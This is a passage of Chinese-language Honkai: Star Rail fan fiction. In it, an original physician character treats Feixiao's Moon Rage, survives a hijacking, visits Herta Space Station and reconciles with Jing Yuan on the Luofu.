虽然飞霄和椒丘没有直言,但忍冬已经发现飞霄的血脉问题了,狐人和步离人的混血……
狐人跟步离人有很多相似点,但也有很多不同之处,飞霄,即是两者难得的混血种。
而【月狂】的副作用便是她要研究的东西。
飞霄自投奔仙舟以来,据说一直在前线奔走,且跟曜青上任将军月御有着深厚的关系。但月御死于一次丰饶民入侵……不如说是死于帝弓的光矢,所以目睹一切的飞霄许诺——【终有一日,她将会比帝弓的光矢更快,终有一日,她不会在看着它落下】。
所以,她的【月狂】症状就更严重了,因为多次使用。
“明明你好好活着能带来更稳妥的未来,为什么要这么拼命呢?”忍冬问飞霄。
“大概……是为了给自己一个交代吧?毕竟未来会有未来的将军去拼杀,我只用做好我该做的事,我想做的事,这辈子就没什么遗憾了。”飞霄这么对她说。
是个释然的人,也是个光辉的人。
忍冬这么想着,对飞霄的月狂副作用就更为上心了。
仙舟是个多古老的东西啊,好的坏的,所有的都在等待一个机会,一个……满足自己欲望的机会。
所以她得尽力,飞霄是个能稳定曜青的将军,她不能出事。
在景元渐露魔阴身之际,一直奔赴在前线的曜青不能不稳。
出于忍冬天赐的丰饶能力,与对魔阴身的抑制药一样,她也研发出了对月狂的副作用抑制药。
“抱歉,我只能治标,不能治本。”忍冬歉疚的看着这个仅两百多岁就风采耀眼的将军,心里有点难过。
飞霄手中扬着那瓶湛蓝的药水,眼尾眉梢都是雀跃:“没事儿啊~标本标本,有标才有本。我这病又不是什么大众都有的,只是狐人可能会被影响而已~但仙舟的狐人也不在少数了,忍冬小姐,你有举世之功啊~”
“……你夸得太过了。”忍冬浑身不适,并觉得飞霄的话像蚂蚁一样在她全身乱爬。
“哎呀~忍冬小姐可别客气了~毕竟椒某连做都做不出来~”椒丘检查完药性,确定为真之后,浑身的气势都轻快了起来。
“……椒丘先生也是。明明数据和药材都是你提供的……”大概是感觉德不配位吧,蚂蚁好似变成了蜜蜂,还在用它的尖刺扎着她的血肉。
看着忍冬的脸快速涌上尴尬和难堪,飞霄和椒丘对视一眼,笑着凑到了她身边。
飞霄大力拍着忍冬的后背,灿烂笑着说:“哎呀~别谦虚,也别自卑,你确实做到了很多人做不到的事。虽然以你的想法来说,以后确实有人也会研究出来,但你是最先的,是行业开拓者啊!抬头,挺胸,你值得很多好东西!”
现在忍冬的脸不是尴尬难堪了,是一个熟透了的大红番茄,并在瞳孔地震。
“椒丘!把我的报酬和感谢礼拿过来,得让忍冬知道我的感谢有多重!”飞霄一挥手,椒丘就带着貘泽抱来了好几个大盒子。
不用忍冬动手打开,他们就已经向她展露了里面的东西——很多一看就很锋利的宝剑(彦卿的喜好看来是没有瞒住啊……)、很多特色小吃和菜谱(应该是给白露的吧?话说她怎么被算成一家人了……)、医书、花花绿绿的小说、古籍……
忍冬抬眼看着飞霄,一脸怀疑:“你在我家按监控了?”
飞霄亲自把一个精美沉重的盒子放到忍冬面前,打开,一片闪耀的珠光差点闪瞎忍冬的眼:“没有啊,只不过你们家在罗浮上的关注度很高呢~在玉兆上一打听,就大概知道送什么了。至于这些珠宝……我想每个女孩子都应该喜欢吧?不止漂亮,还值钱!”
确实,她看着就很想拿起来把玩了……
忍冬艰难别开视线,想推辞,但飞霄是个能听劝的人吗?不是!
她不止把这些全塞给了忍冬,还特意找了几个退伍云骑给忍冬当保镖!
“毕竟曜青一直在战场前线呢,如果我多次动用月狂,那么那些敌人一定会来查,万一伤害到你就不好了。你又不在罗浮神策将军身边,曜青这边也人多眼杂的,还是给你配几个保镖好了~”
飞霄就像担忧朋友一样念念叨叨,全然一副操心样。
忍冬真的很尴尬啊,并想赶紧跑路。
“就是这副表情,忍冬,你想跑了对吧?”飞霄直接戳到了忍冬的心尖,让她脸上的尴尬更是显眼。
“你应该暂时不会回罗浮,那大概会去其他仙舟吧?最近的……朱明?也是个好去处,我给怀炎将军的孙女云璃去信一封,保管你在朱明也能享受到在曜青的待遇!”
太吵了,太直白了,我好想逃……
大概是飞霄身边只有貘泽和椒丘这两男性,所以她才难得向她显露这番姿态的,对吗?
狐人,白色皮毛的狐人,除了她记忆中一直是白色的白珩以外,便是……躺在棺木里的焕蓝了……
可这次,大约会是她先她而去吧?
忍冬认下了这个朋友,虽然大概她不认,飞霄也会带着椒丘来找她……
然后,果断暂时去往了朱明。
再然后……被劫持了。
天要亡她……
忍冬蹲在角落,耳边是肆虐的丰饶孽物的破坏声和人的尖叫声,她捏着自己的红鞭,难以下定决心冲出去当英雄。
战斗啊……她已经懈怠了几百年了,上一次还是两百多岁的时候。
她能够在保全自己的情况下救下他们吗?
看着飞霄送给她的几个护卫在前方拼杀,忍冬的内心十分煎熬。
“我能成功吗……”低语着,她冲了出去,一同而来的,是蔓生的毒藤和镇静的药雾。
但没等她大发神威或者一败涂地,有人用一把厚重的大剑砍破了飞舰的墙壁,直直的砍向了那些丰饶孽物。
得救了……
“你是忍冬小姐?”
浑身冰凉的忍冬裹着自己的小毯子缩在角落,呆怔的神情在遇难的众人中一点也不突兀。怕啊……原来她会害怕了啊?
忍冬抬起头,看着面前光脚矗立的女孩,混沌后怕的脑子不清楚她为何跟她搭话。
“我是云璃。听闻你坐
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的飞舰出事了赶过来的。”云璃圆润的大眼打量着忍冬,很高兴没有在她身上听到剑语。
看来这位小姐不习剑呢,刚才晃眼看见的是鞭子吧?而且这里的丰饶孽物实在是有点奇怪,居然不会跑也不反抗?看来是忍冬小姐的能力呢,毕竟是帮了飞霄将军的厉害医士!
“你好,我是忍冬。麻烦了。”忍冬点点头,毯子下的手还紧捏着鞭把,手臂肌肉隐隐有点颤抖。
“不麻烦不麻烦,能帮忙我就很开心了,飞霄将军很厉害,能帮到她的你也很厉害!”云璃虽有多次夺剑的恶名,但对于态度友好的小姐姐,她一向很喜欢。
更别说这位小姐姐还帮到了她以后将要挑战的飞霄将军了!
而且……“忍冬小姐,你认识彦卿吗?”云璃忍不住的发问了。
彦卿,现下云璃的阶段性目标,据说是罗浮上第一的天才剑士,跟云璃的岁数差不多,在其他仙舟也闻名有声。
“他是我丈夫的徒弟。”忍冬平静说道。
云璃的眼睛唰的一下就亮了:“那你了解他的剑术水平吗?!”
忍冬摇了摇头,把毯子掀开,露出了手中的红鞭:“如你所见,我是习鞭的,并不擅长剑术。”
“哦……这样啊。”云璃肉眼可见的失落,接着头顶的呆毛又树立了起来,询问着刚才丰饶孽物的奇怪之处。
忍冬承认了可能有自己的原因:“我是丰饶命途的,用毒。”
“欸?丰饶也有毒?”云璃惊讶了,毕竟她对付过那么多次丰饶孽物,好像只见过他们不断复生,没见过带毒的。
忍冬很平静,就算她发现周围有好几个耳朵在偷听。
“极度大补便是毒,我的能力便是如此。只不过它只能显露有毒的一面,没有治愈能力,所以我才学了医用。”假话,明明是因为姥姥是丹鼎司退休医士,她继承家里传统罢了。
忍冬不清楚自己是怎么在惊恐后又快速平静下来的,但这不坏,因为这趟飞舰可不只是丰饶孽物入侵的问题。
忍冬放任云璃一直蹲在自己面前拉着家常,直到这趟飞舰被暂时扣押在了朱明的港口之后,她对云璃说:“去查查这趟飞舰的货物吧,有惊喜。”
云璃虽惊讶了一下,但很快就找到借口去要求朱明的地衡司了。
之后的,忍冬个人便不再管了。
因为是公司旗下的飞舰啊……
“仙舟虽讨伐丰饶民,但实际上,仙舟才是最大的丰饶民聚集地啊……所以有人窥伺这里的长生秘诀,多少就不意外了呢……”
跟以往一模一样的述求,走私、拐卖、非法研究,卡卡瓦夏曾隐晦向景元透露过。
但实在做得干净,不管是仙舟的叛徒还是经手的公司高管,哪一个都没抓住,反而还打草惊蛇了。
至于现在送到朱明的这件事端,大概会有几方经手,然后在那些黑手的操作下不了了之吧。
忍冬掏出了玉兆,分别向远在曜青的飞霄和一个月没有说过话的景元发送了一条消息。
之后?之后就不是她该管的了。
“忍冬小姐,要不要去看我炼剑啊?我送你一把啊!”
朱明朗朗升起的剑闯入了她的房间,并开心的向她发送了邀请。
31. 空间站异变
星月皎洁,黑塔空间站停驻之地,寂静无声中,迎来了两位不速之客。
在一片嘈杂的警报声里,黑塔空间站的护卫却失去了入侵者的踪影。
直到……一位突兀出现的陌生人带来了更大的惊吓。
“星核在她体内?!”
*
忍冬目露不解的看着自己的玉兆界面,看着艾丝妲向她发过来的消息。
“……星核精?”
“什么?”云璃咬着肉包含含糊糊的问身旁的忍冬。
忍冬收起了玉兆,对云璃说:“没什么,我们继续逛吧。”
朱明仙舟,著名的工匠之地,曾经她幼时在飞舰上一瞥而过的地方。这里的建筑偏好红色,路旁也都种植着红枫,秀致的叶片形状总让她恍惚回想起一些过往。
她的学宫时期虽不长久,但相应的教育时限还是有的。而一旦在某地待得过久,那么一些该了解的事都会了解。
红枫,一直是学宫的年轻女孩们隐晦指代向某位龙尊的代名词。因他冷艳而拒人之外,所以这些女孩不如对景元那般放肆。
但这抹冷艳的红却跟朱明到来的一抹青色混溶在了一起
“那位……云璃你了解什么?”这不指明姓名的问话在她们之间发生过几次,但每次都浅淡而止,因为忌讳交浅言深。
但这次,忍冬打算好好跟云璃谈谈了。
……尽管她也表示自己没有了解多少。
“那人啊……据说是朱明百年难遇的天才,比我父亲还要耀眼。”想到自己父亲铸魔剑疯魔而死的事,云璃眼神灰暗了一会儿。但很快她又打起了精神:“他是爷爷的关门弟子,也为朱明的冶炼留下了很多宝贵的经验和技术。只不过……他和那位龙尊做得事实在是触犯了仙舟的底线,所以大多都以佚名为注。”
“我自来到爷爷身边,很少听他提起他,只不过有一次在布告栏那里,我跟爷爷一同看见了一位星核猎手的通缉令,是他吧?爷爷那时的眼神很悲伤……”
“这些就是我了解的全部了。”
云璃咬了一大口手中的肉包,让面皮跟馅料把嘴塞得满满的,一双晶亮的大眼睛直白的盯着忍冬看。
忍冬想了想,对云璃说:“我了解的也不多,算是道听途说来的,但大抵应该没什么差别。”
“他是个很狂傲的人,也是个仙舟上的怪胎。毕竟云璃一定见过很多次化外民在仙舟上碰壁的样子吧?当年比如今可严重多了。”
“他的天赋带来无比锋利的剑戟之外,也带来了疏离和嫉妒。所以他只能跟那几个仙舟怪胎聚集,所以他们把彼此看得很重。”
“当他被最亲近的癫狂者蛊惑时,他无法反抗,因为那也是他的愿望。然后……”
忍冬看向了云璃的眼瞳,微微一笑:“砰然而碎。”
两人边走边说,身后隔着一段距离,是两位给忍冬提着袋子的护卫。
人间烟火最是宜人,欢畅的女性通过倾述缓解了几分内心的不安。
毕竟,星核这种只要一沾上就必引发乱象的物品,怎么可能变成人呢?不要搞笑了,仙舟古籍记载的精怪可不是真的能通过修炼得来的啊……
忍冬笑着送别了云璃,接下来的一段时间继续辗转在几艘仙舟之间。
不过当发现除了一些细节之外,每艘仙舟的文化都高度趋同之后,忍冬便缓下了脚步,开始了真切的悠闲度日。
直到玉兆上转载了星穹列车抵达黑塔空间站的消息……
忍冬揉了几下眼睛,恍惚的看着随着这则消息一同而来的照片,其上那个她目送过的丹枫转世体,丹恒。
“……好像才说过这几人吧,难道我有言灵术?”
除了这个她比较关注之外,忍冬只勿囵瞟过了剩下的四人,就匆匆划过了这则消息。
但……
【艾丝妲:来嘛来嘛~空间站现在很安全的,反正忍冬你现在也在四处游玩吧?来看看我嘛!可以把我的观星设备给你看星星哦?】
耐不住艾丝妲的骚扰和撒娇,忍冬还是确定了自己的下一站——【黑塔】空间站。
飞舰接驳之后,忍冬带着两个护卫走下了甲板,出于脑内残留的一点印象,转着脑袋左右打量了一下周围,额……没有看见预料中的那趟列车。
忍冬轻呼了一口气,手抚过自己的胸口。
既害怕见到故人,又对撞上有点期待,为什么?难道她想去嘲讽那个曾经高傲的家伙吗?
艾丝妲带着阿兰过来接她了,一同而来的,还有一个黑塔人偶。
艾丝妲扑到了她身上,十六七的少女在忍冬怀里依旧如同以前一般轻飘。
“忍冬!你来了!”
“小姐!裙子、裙子啊……”阿兰伸手无力的阻拦,一脸操碎心的老妈子样,脚边还转悠着一只卷毛小狗。
“嗯,我来找你玩了。”忍冬伸手压住艾丝妲的裙摆,好奇的看了一眼阿兰脚边的小狗,然后抬头看着无言注视着她的黑塔。
盯——
无法忽视的目光,若有所求的视线,这些,黑塔非常希望忍冬能看明白。
“听说你解决了曜青将军的月狂之症?”黑塔意味深长的说。
忍冬猛摇头:“没有!只是压制缓解!没有解决!”
黑塔捏着下巴,垂眼喃喃:“那也够了……”
“额……”忍冬求助的看向艾丝妲,艾丝妲眨巴着自己漂亮的大眼睛,笑嘻嘻的说:“哎呀~答应黑塔大人好了~她不会把你怎么样的。还可以得到一笔丰厚的报酬哦~”
“我现在不缺钱,大概以后都不缺了……”忍冬想到自己出来这一趟的收获,飞霄给她的那一箱珠光满满的财宝首饰,还有那些剑和收集的医书古籍……她大约是不需要奋斗的。
“欸~你短时间不回罗浮,又不想去其他地方了,就留在空间站陪我嘛~不答应黑塔大人也可以的。”艾丝妲从忍冬身上下来,但手还一直抱着她的腰,一脸期待。
“什么叫‘不答应黑塔大人也可以的’?!艾丝妲……”黑塔回神,听见了艾丝妲最后的话,一脸不爽。但现在她来到这里的目的不是为了这个,她依旧看向忍冬:“你的能力我很感兴趣。如何?要不要跟我一起探索探索?”
想到她查探出的消息,黑塔脸上对忍冬
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的势在必得毫不遮掩:“魔阴身、月狂,这都是你关注的问题吧?要是你配合,说不定真的能找出解决办法。”
虽然黑塔的说法很诱惑人心,但忍冬没有莽撞答应:“这些都因药师的存在而无法解决,星神设下的陷阱可不是我这种半吊子可以挣扎出来的。同样,就算加上你,大概也不行。”
忍冬的眼瞳水光凌凌,一片沉静,她看着黑塔人偶,就像看到了大黑塔一般。
黑塔失望的叹气,一脸怒其不争的摇头:“真是的,还以为你这些年脑子已经被消磨干净了来着~原来还清醒啊。”
黑塔离开了,而留在原地的忍冬好像全然不为所动。
艾丝妲和阿兰却是一脸担忧的看着她。
毕竟隐隐约约,他们大概也知道忍冬跟那位罗浮将军的关系出了问题。而黑塔所说的这些年,便是指她在那位将军身边晦暗的岁月。
之后,忍冬在空间站住下了。
而不久之后,黑塔收到了两瓶凝萃的液体。一瓶绿意中透着蓝,生机盎然;一瓶紫意幽幽,狂乱的生机中散发着失智的毒。
大黑塔的指尖划过冰冷的透明瓶身,唇角勾着一抹似笑非笑的笑意:“果然啊,你是跟祂最为相近的命途行者……”
忍冬清楚自己交出了什么,也清楚自己接下来可能面对的情况。
她一个人在艾丝妲安排的房间里,拨弄着床头装饰的绿植,一盆常绿的文竹。绿光一闪,它迅速增枝阔叶,紫光一闪,它老旧的叶芽死去,就这么生生死死,它又变回了跟原来相似的样子。
忍冬放开了手,幽深的看着这前后好似一致的文竹,捻了捻飘落到指尖的灰,转身走了出去。
房间里一切如故,除了好像被施过草灰肥的文竹,抖了抖叶片,浑浑然有了几分眷念。
忍冬笑着跟来往的研究员点头打招呼,耳边听着来往路过的说话声,心神有点空悠。
人可以掌控生死吗?在短短的八百年里……
忍冬很早就踏上了命途,在幼时初闻死亡时,在见花落、见叶枯、见离别、见伤悲之时,那股涌动的生机初时让她欣喜,但却在接下来的流离中增生了毒。
她痛恨无法解决问题的简单治愈。
毒,那股癫狂的、催促人走向死亡的毒,个人镇静的毒,才是她以自身拥有的。
它跟丰饶命途行之最远的星神南辕北辙,但它依旧存活了下来,八百年来一直没有消失。
出于自傲也罢,出于谨慎也罢,忍冬除了姥姥,并没有告诉过其他人……包括景元,虽然他肯定能猜到一些……
但今天她居然告诉了一个跟她没有交集、没有了解的人?
“前路如何,便让未来去解吧……”忍冬呢喃低语,在这时刻第一次自离开罗浮以来回想起了景元的面容。
少年将军,意气风发,眼尾的泪痣总是显得格外勾人。
第一次的见面,她没有留意他。所以之后学宫的演武场上,混迹在人群中的她扬头看着台上那位意气风发的少年时,第一次被惊艳了。
可她依旧没有在意。
直到今天,她有点想念他。
32. 慈怀为悲
又一次在批写文书时走神,在被耳边的声响唤醒时,景元一脸如常的继续下去,并没有搭理身旁的彦卿。
自忍冬离开以来,彦卿虽未跟他直言过自己的想法,但时不时投向他的视线,欲言又止十分明显。
更别说,自那之后,他一直找各种借口跟其他的近卫要求守着他。
景元没有解释,更没有安抚弟子躁动的心。
怎么安抚呢……连他自己都在煎熬。
面前的白纸黑字,数不清的讯息流入他的大脑,在这种暗流涌动的时候,他不能去赌会不会牵连到忍冬。
魔阴身啊,可真是一个好手段。
黑塔空间站出现了星核,并且被融入了一个人体内,还是一个失去记忆,来历可疑的人,成为了星穹列车的一员……
而罗浮之内,丰饶的爪牙已经按耐不住在蠢蠢欲动了……
景元下定了决心,并不动声色中以合理要求对罗浮各方面的事务进行了一定调动。
出于以往的习惯,景元此举并未引起任何人注意。只要他的最坏预期不成为现实,那这些举动顶多算是多此一举,但如果成真……
那么,夫人就会回来了。
景元按捺下心底想到忍冬就开始泛起的烦躁,唇角的笑意如故,温声把一切都吩咐了下去。
带着青雀来递交了这段时日的测算结果,符玄的一脸正经在走出神策府时却猛然一变,眉头紧蹙。
她看向身后虽依旧吊儿郎当的青雀,看着她眼底也带着的担忧,叹了长长的一口气。
青雀睨了自己的恐怖上司一眼,无语至极:“太卜大人,你别以为来这套我又会上当。我是不会继续听你抱怨的!那些负面情绪请自己消化好吗?!”
自将军跟将军夫人的感情出现问题以来,每回太卜司来神策府递交报告,太卜大人总要拉着人一起来!而由于她在太卜大人那里挂上了号,很多回都是她被抓住当小跟班。
当第一次她天真的询问太卜大人为什么叹气之后,自那以后,她好像就变成了太卜大人的情绪垃圾桶!
为什么啊?!她也有自己的情绪需要消化啊!
“哎呀,青雀。可这太卜司里,就我跟你与忍冬有交情,我不跟你说,那我还能跟谁说?实在是景元那笑脸让人瘆得慌啊!快,别磨叽,我们一边回太卜司一边说,到时候还有很多工作需要做呢!”
反抗无效的青雀被拖走了。
而其他人也没有渠道去直面景元虚假瘆人的笑脸,所以只得叹气一声,说,那位游医啊,听说是出去游玩了。
忍冬在空间站随同黑塔人偶参与了几次实验研究,但很快就对黑塔锱铢必较、反反复复的实验过程厌烦了。
“自己研究是一回事,看其他人研究又是另一回事了!”忍冬对几次三番要求她回实验室的黑塔人偶铮铮有词,手中捏着艾丝妲给她准备的仙舟奶茶。
“所以我可以给你一间实验室。”黑塔冷静的提议。
“我拒绝!”忍冬翻过一页膝盖上的杂志,眼睛紧盯着最新的一些讯息,满足着自己这段时日兢兢业业以来榨干的娱乐能量,连黑塔什么时候离开的都没发现。
人不是一张弦,能紧绷而不伤身。忍冬认为,她正在修养自己的身体。
忍冬坐在空间站的休息角,一处有绿植遮挡住的角落,一旁是一张圆桌,摆着奶茶和可爱精致的糕点。
周围人来来去去,都没人专门去注意她。直到可爱的佩佩蹲在了她的鞋面上。
忍冬低头,跟那双黑豆豆眼对视,眨巴眨巴,她放下了手中的杂志,抱起了佩佩。
“哎呀~佩佩~你来找我玩吗?真可爱~”忍冬的手指顺着柔滑的毛毛,不期然想起了家里曾养过的那些小动物。
咪咪和冰果……
咪咪是跟景元一起养的,冰果是焕蓝留下来的……但都只在她的生命中占据了很小的一个角落呢……
大约人老了总爱回忆过去,她离开罗浮越久,回想起的东西也越多。
直到一颗失联了很久的星球重新跟寰宇联系上。
“雅利洛-Ⅵ?一颗白雪覆盖,一直遭受星核灾厄的星球?你是说,星穹列车解决了那里的星核吗?”
忍冬一脸诧异的望着艾丝妲,第一次听到星穹列车的实际。
“对啊对啊~星和姬子小姐他们很厉害的!”
“这不是一般厉害了……”忍冬想到星核万界之癌的说法,对艾丝妲说:“这么说来,他们不就是解决寰宇癌症的特效药嘛……”
“听说他们下一趟目的地是罗浮,以星的事故体质,大约也会发生一些意想不到的事吧~”艾丝妲给忍冬说过那个星核精,一个莫名其妙、跳脱如疯兔的女孩子。
忍冬的眼神死了一瞬:“以你描述的来看,还真有可能……”
“所以你要回去吗?”艾丝妲突然询问出声。
忍冬静默了。
艾丝妲等待着。
大约过去了三十分钟左右,艾丝妲咔嚓咔嚓咬着嘴里的小饼干,平静的在忍冬身边做着其他事,一副很有耐心的样子。
忍冬叹气,目光柔和的注视着她:“我会回去的。”
“太好了!”艾丝妲跳了起来,语调激烈的向她又介绍了一通星穹列车上的成员,着重介绍了星核精星小姐,包括但不限于她的几位同伴,活泼灵动的三月七,沉稳可靠的丹恒,美丽优雅的姬子,童心未泯的杨叔,还有,奇异动物帕姆。
“主角配置。”忍冬笃定道。
“就是说啊,很王道的人设呢。啊,但星绝对会出乎你的预料的,也不用担心跟她拉近距离的事,她自来熟到可以第一次见面就调侃人的程度!”
艾丝妲抱着手臂,想到那位奇怪真诚的朋友,脸上出现了温煦的笑:“她绝对、绝对会让你喜欢的,忍冬~”
忍冬对艾丝妲的说法不置可否,毕竟只是浅薄的喜欢的话,那她喜欢的人可多了。美貌的宇宙歌星知更鸟、美貌的天才研究员大黑塔、美貌的纯美信徒……哪个不得她的喜爱?
忍冬要准备回罗浮了。
此时的罗浮,在景元紧绷的神经下,果不其然,有人盯准了这里。放出消息说,有人把星核藏在了罗浮。
依景元对罗浮的掌控来说,这则消息在现下应当是假消息。但……既玩得这么大,那么真的可能就在来的路上了。
出于再次拔出罗浮其上的钉子和不安稳份子的需要,景元顺从了这则消息,开始封锁了一些区域,也封闭了通往罗浮的航
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线。
虽接到朱明的怀炎将军的孙女来信,忍冬应当是恐惧这些纠纷的,但……她会回来。
这并不好,他身边,她是唯一的软肋。
景元是在忍冬到达朱明之后,才得到她乘坐的飞舰被劫持的消息。听到消息的瞬间,他脑海里空白一片,浮现的第一个想法居然是想立刻去找她,如果、如果事态严重,那他会陪她一起……
可他赶不上。
瞬间的暴虐欲侵袭向大脑,他的眼眶瞬间就红了。
在他做出不可控行为之前,在他身边的彦卿迅速送来了下一则消息,她依旧完好无损,获救了……
所以,你别来啊……
我受不了你会遭受任何危险……
这番期待并没有得到实现。
忍冬虽抵达罗浮时被拦截在外,也不幸的遇见了一位一面之缘的朋友的事故现场,但她还是得到了机会回到罗浮。
就是……身旁这人的脸实在是让她有点看不爽利。
“额……忍冬小姐?你很担心吗?”素裳小心翼翼的询问她,但眼神却在那位列车成员的身上打量着。
忍冬看了这位少女一眼,轻叹:“抱歉,担心归担心,但我并没有对丹恒先生有什么意见。所以素裳姑娘,你也莫要这般直接的瞪着他了。”
“欸、欸?很、很明显吗?”这迷糊的姑娘挠了挠头,寻求的问另一位搭伙的化外民游医,罗刹。
忍冬又叹气了。
唉,以他们这一队复杂的人员来说,另一队列车小队遇见的一定更热闹吧?
丹恒欲言又止,但忍冬无视了他想说话的嘴,忧愁的望着已经开始复活的建木,喃喃着希望赶得及的话。
就在两队列车成员将要集合之时,丹恒却被刃袭击了。
忍冬没有参与,还特意避得远远的。
所以被人揽抱在怀里带离战场,也没有人注意到。
忍冬没有挣扎,尽管眼前被一只大手遮挡着,但萦绕在身侧的那股熟悉至极的气息让她很安心。
“……你不该回来。”
“我有东西落在这里了。”
“不论是什么,你都不该让自己身陷险境。”
“可你不跟我走啊,景元,你不能成为我一个人的东西。所以,只好我回来了。”
忍冬想转头,也想挣开眼前的束缚,可身后这人只是沉默着,继续用不大不小的力气阻挡她的动作。
没关系,忍冬下定决心回来时就想好了应对他的办法。
以前是景元主动,那现在景元因魔阴身怕了,那就该她主动了。
毕竟,“我还没有想把你丢掉的想法啊……”
侧过头的忍冬亲到了身后人柔软的脸肉,扑闪的睫毛划蹭过眼前的手心,她笑了,因为身后这人没有躲避。
明明避得开的不是吗?明明想划清界限的不是吗?
“慈怀为悲,景元,这个悲剧可不是你想结束就结束的,我不同意。
我说过的吧,要是你堕入魔阴身,我一定是亲手送走你的人。
所以,你别想摆脱我。我的感情不是那么好拿的,你得把自己赔给我,霸王条款没有你周旋的余地。
认命吧,景元,我不会听你的话。”
33. 代价有三
忍冬回到了小院,走入自己的房间,看到离开前没有整理过的被褥好好的整齐摆放在床尾。她走过去坐下,躺倒了上去。
软乎乎的,在那股熟悉安心的气息中,旅途中隐匿下去的疲倦涌了上来。
眼皮渐渐沉重,她没有抵抗的睡下了。
景元望了一眼熟悉的院墙,想到里面的人,这段时日被焦燥缠绕高悬的心跳总算回归了正常。
他知道自己该去扮演那位命运的奴隶策划的剧本了,但……脚迟迟不愿离开这里。
景元喜欢出自自己当意愿粘着忍冬,在她身边撒娇,但不愿失控给她造成负担和麻烦。他一直都明白,如果不是他在罗浮,忍冬应该早已在寰宇中闯出自己的名气。而且……她的命途是丰饶可能的新拓展之一。
她不会被仙舟的魔阴身纠缠,她可能是下一位……星神……
大约他是真的老了,居然在担心他不会参与的未来,她会忘了他吗?
“欸……罗浮将军啊,怎么着也得注意周围的环境吧?现在罗浮的情况可没有让你在这里演恨海情天的机会啊~”砂金指尖勾转着那副浅紫色的金边墨镜,唇边一抹调侃的笑意,就这么出声打断了景元将要越陷越深的无厘头思绪。
景元面色冷然,从面向院墙转向了他的方向:“砂金,你能保护好忍冬吧?”
“这是当然~公司就这点好处了~存护,配合忍冬妈妈的治愈力,我想,我们能撑到你来救我们~”砂金迈步,宛如在街边悠闲游玩,一副不紧不慢,全然交给他的底气十足。他走过景元身边,伸手随意拍了拍这个名义上的养父的肩膀,转过头却忍不住嗤笑出声。
景元知道砂金这副做派是想让他放心,虽然其中也确实有看他笑话的心思。不过,当前关头,他确实该离开了。
他回望了一眼院墙,看向了忍冬房间的方向,转过身,向建木而去。
而躲在角落的艾莲娜皱着眉叹气走到砂金身边,一巴掌就拍到了他的脑袋上:“你够了,好歹是我们的养父,你对他态度好点啊……”
砂金把墨镜攥在手里,鼓着脸颊扭头看着自己的姐姐:“我态度已经够好了,任谁成年之后却突然窜出来个看起来跟自己差不多大的养父,早闹翻天了,我能有这种态度已经算我心大了……”
“我知道,只不过在忍冬妈妈面前还是得演好啊,你们。别让她伤心,不然……”微笑的艾莲娜举起了自己结实的拳头,亮出了肌肉,满脸威胁。
砂金投降的举起双手,气势萎靡:“我们知道的~姐姐,你到底在折纸大学学什么的啊?明明我记得是表演之类的专业吧,怎么能练出如此武力,还踏上了巡猎命途……”
“唉……”艾莲娜收回拳头,满脸隐晦的唏嘘,跟着弟弟一同走入小院:“这都是生活啊……”
“这就是……”
“小弟弟,你可愿接我一招。”
彦卿的话还没说完,面前这位神秘的蒙面女子就已抽出刀,冷冽的气势扑面而来。随着刀势的积蓄,天空中好似出现了一轮巨大的霜白满月,一刹,一柄巨大的冰剑就从天而降,劈向了他。
“将军将军打不过,师父师父把我抽。如今,一位神秘女子也能把我按在剑下。我真的是天才吗?莫不是仙舟上那些人为了麻痹我而吹嘘的?”
彦卿满目茫然,手中捏着的飞剑也有气无力。
“啊,对了,还有之前追捕那位星核猎手的时候,谁都不打不过……”
彦卿被将军勒令回家时,由于这段时日以来接连的打击,他已经提不起力气去反抗将军的决定了。
他连将军都打不过,还谈什么保护将军啊……
彦卿推开门,游魂一般的往厨房摸去。
吃点东西就好了,师娘说,心情低落时就该多吃甜食。虽然他不喜好甜食,但他现在确实需要一点热乎乎的食物填饱肚子。
“啊,彦卿?你饿了吗?”
看,心情沮丧到都影响五感了,师娘明明还没回来的说……
砂金凑到彦卿面前盯着他,手中的骰子一上一下的抛着,看他没反应的样子,扭头就对忍冬喊道:“不好了,忍冬妈妈!彦卿他饿傻了!是景元叔叔的问题吧,都怪他,养孩子也养不好!”
忍冬面瘫着脸,嘴里嚼吧嚼吧,不搭理这个突然戏隐上身的花孔雀。
“卡卡瓦夏……你这上眼药也太放肆了吧?姐姐我还在呢!别搞事!”友爱之拳如同以往一般降临在将要搞事的卡卡瓦夏头上,血脉压制的姐姐正往忍冬面前摆放着刚蒸好的烧麦和小笼包。
热气腾腾的,香味总算让迷糊的彦卿意识到,面前的不是幻觉。
“师娘!”彦卿眼眶瞬间通红,扑到了忍冬怀里,开始抽泣:“您、您回来了?”
忍冬抽出一张纸巾,抬起彦卿的脸,啪唧一下拍到了他脸上:“自己擦干净,别弄到衣服上。”
“师娘,你就不能哄哄我吗?”彦卿从脸上拉下纸巾,擤了几下鼻子,把纸团成球扔到了一旁的厨房垃圾桶里。
忍冬毫不停留,又往彦卿嘴里塞了一个小笼包:“多大的孩子了,你的鼻涕眼泪都快蹭我身上了!我没有把你甩出去,就是我心善了。”
彦卿鼓着腮帮子嚼嚼,说不出话。
艾莲娜和卡卡瓦夏也伸着筷子夹着小笼包和烧卖,配着景元的名贵茶叶,好好享受了一番。
景元这边,由于绝灭大君的插手,星核没有找到,但丰饶余孽暴动了。
他们,连同被景元当作奇兵驱使的列车来客,开始了Boss战。
成功变身小青龙的丹恒本来还在跟刃缠斗,但突然出现了一个紫红发色的女人,对刃说了几句话之后,他们就走了。
丹恒紧赶慢赶,也加入了这场Boss战。
“阿刃,你这次的行动太过激进了,那位叫丹恒的列车成员可还没到谢幕的时候。”
“人有五名,代价有三,他,是其中之一。”#
刃一脸冷然,话里话外,全是没有听进去的意思。
卡夫卡只能扶额叹气,毕竟不管是清醒还是失智,刃这个人啊,总在对那位丹恒的事上固执不改。
索性他还记得艾利欧的任务,那其他的,就随他去吧。
景元他们解决了绝灭大
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君,也遏制了建木的生发,这一场罗浮的混乱总算有了个结果。
在安排好列车来客之后,景元转身,把一队精锐云骑派遣了出去。
“好了,这下就剩星核的问题了,也可以见见老朋友了。真是多事之秋~”
不多时,彦卿回到了景元身边:“将军。”
景元转头皱起了眉头,凝重的问:“……是夫人出事了?”
彦卿肃然的面色一垮,挑高了眉梢,嘴角悄悄上弯:“不是,是师娘叫我来的。她说跟着师父,应该能见到一些惊艳绝决的人物,让我千万不要错过,回去说与她听。”
“我也可说给她听啊……那么彦卿,你就好好看着吧。看完了,也得有自己的衡量。”景元先是低声嘟囔了一句,接着便笑了,望向了云骑押着过来的金发男子。
“这位、罗刹先生?看来你带了什么危险的东西到罗浮来呢~”
应对完这位,下一位便是一位故人了。
